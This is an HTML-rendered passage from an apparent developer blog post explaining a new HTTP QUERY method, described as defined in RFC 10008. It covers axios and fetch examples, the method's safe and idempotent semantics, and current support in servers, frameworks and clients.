&lt;span class=&quot;nx&quot;&gt;axios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/search&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;shoes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;maxPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Or the vanilla version:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/search&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;shoes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;maxPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;We all did it. The query was too big for a URL, so we used POST. It worked. But it was always a lie. We were telling HTTP &quot;this modifies something&quot; when it didn&#39;t.&lt;/p&gt;

&lt;p&gt;In June 2026 the IETF published RFC 10008. It defines a new HTTP method called QUERY. It is the first new method in more than two decades. And it fixes exactly this.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-problem-in-30-seconds&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#the-problem-in-30-seconds&quot;&gt;
  &lt;/a&gt;
  The problem in 30 seconds
&lt;/h2&gt;

&lt;p&gt;GET is perfect for reading data. It is safe, idempotent and cacheable. But it cannot carry a body, and URLs have length limits. Around 8000 characters if you are lucky. Less if a proxy in the middle disagrees.&lt;/p&gt;

&lt;p&gt;POST carries any body you want. But HTTP assumes it changes state. So no automatic caching. No safe retries. If a POST times out, the client cannot just retry it. Maybe it already did something.&lt;/p&gt;

&lt;p&gt;For years we had to pick one. Clean semantics or a real payload. Never both.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-query-does&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#what-query-does&quot;&gt;
  &lt;/a&gt;
  What QUERY does
&lt;/h2&gt;

&lt;p&gt;QUERY is a GET with a body. That&#39;s it.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;QUERY&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/products&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/json&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;category&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;shoes&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;maxPrice&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sort&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;price_asc&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;I use axios for most of my projects, so this is how it looks there:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;axios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;QUERY&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/products&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;shoes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;maxPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;price_asc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;There is no &lt;code&gt;axios.query()&lt;/code&gt; helper yet, but axios passes any custom method straight through to the underlying HTTP client, in the browser and in Node. No plugin needed.&lt;/p&gt;

&lt;p&gt;If you prefer plain fetch, same idea:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/products&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;QUERY&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;shoes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;maxPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;price_asc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The server runs the query and returns the result. Nothing changes on the server. The spec guarantees two things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Safe.&lt;/strong&gt; It does not modify state.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Idempotent.&lt;/strong&gt; Sending it twice gives the same result as sending it once.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those two guarantees are what everything below is built on.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;this-pattern-is-going-to-change&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#this-pattern-is-going-to-change&quot;&gt;
  &lt;/a&gt;
  This pattern is going to change
&lt;/h2&gt;

&lt;p&gt;Look at almost any API in production today:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;POST /search        &amp;lt;- reads data, says it writes
POST /reports/run   &amp;lt;- reads data, says it writes
POST /products      &amp;lt;- actually writes
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Two of those three endpoints are lying. Here is where APIs are heading:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;QUERY /search       &amp;lt;- reads
QUERY /reports      &amp;lt;- reads
POST  /products     &amp;lt;- writes
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Not overnight. But the direction is clear. So the two questions that matter are: what works today, and how will our apps actually change.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;compatibility-where-we-are-right-now&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#compatibility-where-we-are-right-now&quot;&gt;
  &lt;/a&gt;
  Compatibility: where we are right now
&lt;/h2&gt;

&lt;p&gt;The RFC is weeks old, so let&#39;s be honest about the current state.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The protocol side is already fine.&lt;/strong&gt; HTTP does not have a fixed list of methods. QUERY is just a token in the request line. Any HTTP/1.1 or HTTP/2 connection can carry it today.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Servers.&lt;/strong&gt; Nginx and Apache will pass QUERY requests through, but your config may need small tweaks. Anything that whitelists methods (&lt;code&gt;limit_except&lt;/code&gt;, security rules, WAFs) needs QUERY added explicitly. This is where most early friction will live.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frameworks.&lt;/strong&gt; This is the real bottleneck. Your router needs to understand the method. Spring has a pull request in progress. Rails is discussing it. Express lets you handle custom methods with a bit of manual work. Expect native support to roll out across 2026 and 2027.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP clients.&lt;/strong&gt; Axios and fetch can already send arbitrary methods, so both of these work today:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// axios&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;axios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;QUERY&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/products&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;shoes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;maxPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// vanilla fetch&lt;/span&gt;
